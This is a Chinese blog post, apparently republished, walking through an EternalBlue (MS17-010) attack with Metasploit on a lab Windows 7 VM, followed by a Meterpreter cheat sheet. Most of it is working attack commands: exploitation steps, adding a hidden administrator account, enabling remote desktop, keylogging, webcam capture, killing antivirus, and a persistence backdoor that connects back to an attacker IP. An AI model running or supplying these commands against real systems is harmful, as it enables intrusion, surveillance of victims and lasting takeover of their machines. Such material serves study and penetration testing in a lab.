漏洞简要
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
微软已于2017 年 发布MS17-010补丁,修复了“永恒之蓝”攻击的系统漏洞,一定要及时更新Windows系统补丁。
环境准备
kali linux、具有永恒之蓝漏洞的win7、win10。
环境均在VM中进行,且在同一网段。
攻击准备
-
在kali中打开msf工具:msfconsole
-
查找有关永恒之蓝的漏洞:search ms17-010
这里可能需要解释一下msf中的六大模块:
-
auxiliary
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块。 -
exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动) -
payloads
成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload -
encoders
对payload进行加密,躲避AntiVirus检查的模块 -
nops
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。 -
post
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作
-
收集目标机器的有关信息并配置:use 0(use后面可以跟编号,也可以跟name)
show options:
可以看到靶机ip并未配置,打开win7,找到其地址:
kali ip:
并确定两主机可以相互ping通。
配置靶机ip:
set rhosts 192.168.159.128 #大小写都可以
查看配置后的结果:
可见配置成功。
进行漏洞扫描:
可见靶机具有漏洞。 -
利用exploit模块:use 0
与上个模块一样,先进行有关配置。
配置靶机ip并查看:
配置成功!
开始攻击
- 紧接上步,开始攻击:run
出现meterpreter > 说明攻击成功。
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。 - 利用help命令可以查看功能列表:(这里仅截取部分功能)
其中有upload,说明可以上传“一些文件”。
也有shell功能:
可以看到是有管理员权限的,这就意味着可以创建用户并提权。
部分攻击结果展示
-
查看当前权限:getuid
最高权限 -
获取屏幕截图:screenshot
-
上传文件
去主机中查看:
上传成功!
有意思的是linux中的文件路径是/,而windows中的是\。 -
创建新用户
进入shell,先查看已有用户:net user
创建用户:net user xiaoming 123 /add
创建成功!
查看其所在组:
所在user组。
进行提权(将其放在管理员组下):net localgroup administrators xiaoming /add
提权成功! -
打开远程桌面:run getgui -e
先确认win7设置:
利用win10远程桌面连接尝试(两者可以相互ping通):
失败。
打开其远程桌面权限。
发现靶机选项已经改变了。
利用win10再次尝试:
成功!
可以利用刚创建的用户进行登录:
成功!
部分msf命令
-
基本命令
help # 查看Meterpreter帮助
background# 返回,把meterpreter后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据
write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本 -
文件常用命令
getwd 或者pwd # 查看当前工作目录
ls #
cd
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查看当前目录
lcd /tmp #操作攻击者主机 切换目录
cat c:\lltest\lltestpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\lltest # 上传文件到目标机上
download c:\lltest\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\1.txt #编辑或创建文件 没有的话,会新建文件 -
系统命令
getsystem #会自动利用各种各样的系统漏洞来进行权限提升
migrate #进程id进程迁移
background #把当前的会话设置为背景,需要的时候在启用
getuid #查看对方正在运行的用户
ps #列出所有的进程
getpid #返回运行meterpreter的id号
sysinfo #产看系统信息和体系结构
shell #切换到cmd的系统权限方式
exit #退出shell会话返回meterpreter或终止meterpreter
getdesktop 截取目标主机当前桌面会话窗口
run webcam -p /var/www #在/var/www目录监控目标主机的摄像头
keylog_recorder #使用migrate将会话迁移至explorer.exe的进程空间后记录键盘 -
远程桌面&截屏
run getgui -e #开启远程桌面
run getgui -u user1 -p 123 #添加用户
run getgui -f 4444 –e #3389端口转发到6661
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了 -
键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录 -
关闭杀毒软件
run killav //可能导致目标机器蓝屏死机文章来源:https://www.toymoban.com/news/detail-658209.html -
后门植入
run persistence –h #查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.1.159
#-X指定启动的方式为开机自启动;-i反向连接的时间间隔;–r 指定攻击者的ip文章来源地址https://www.toymoban.com/news/detail-658209.html
到了这里,关于记录一次永恒之蓝(ms17-010)漏洞攻击 【后附msf常用命令】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!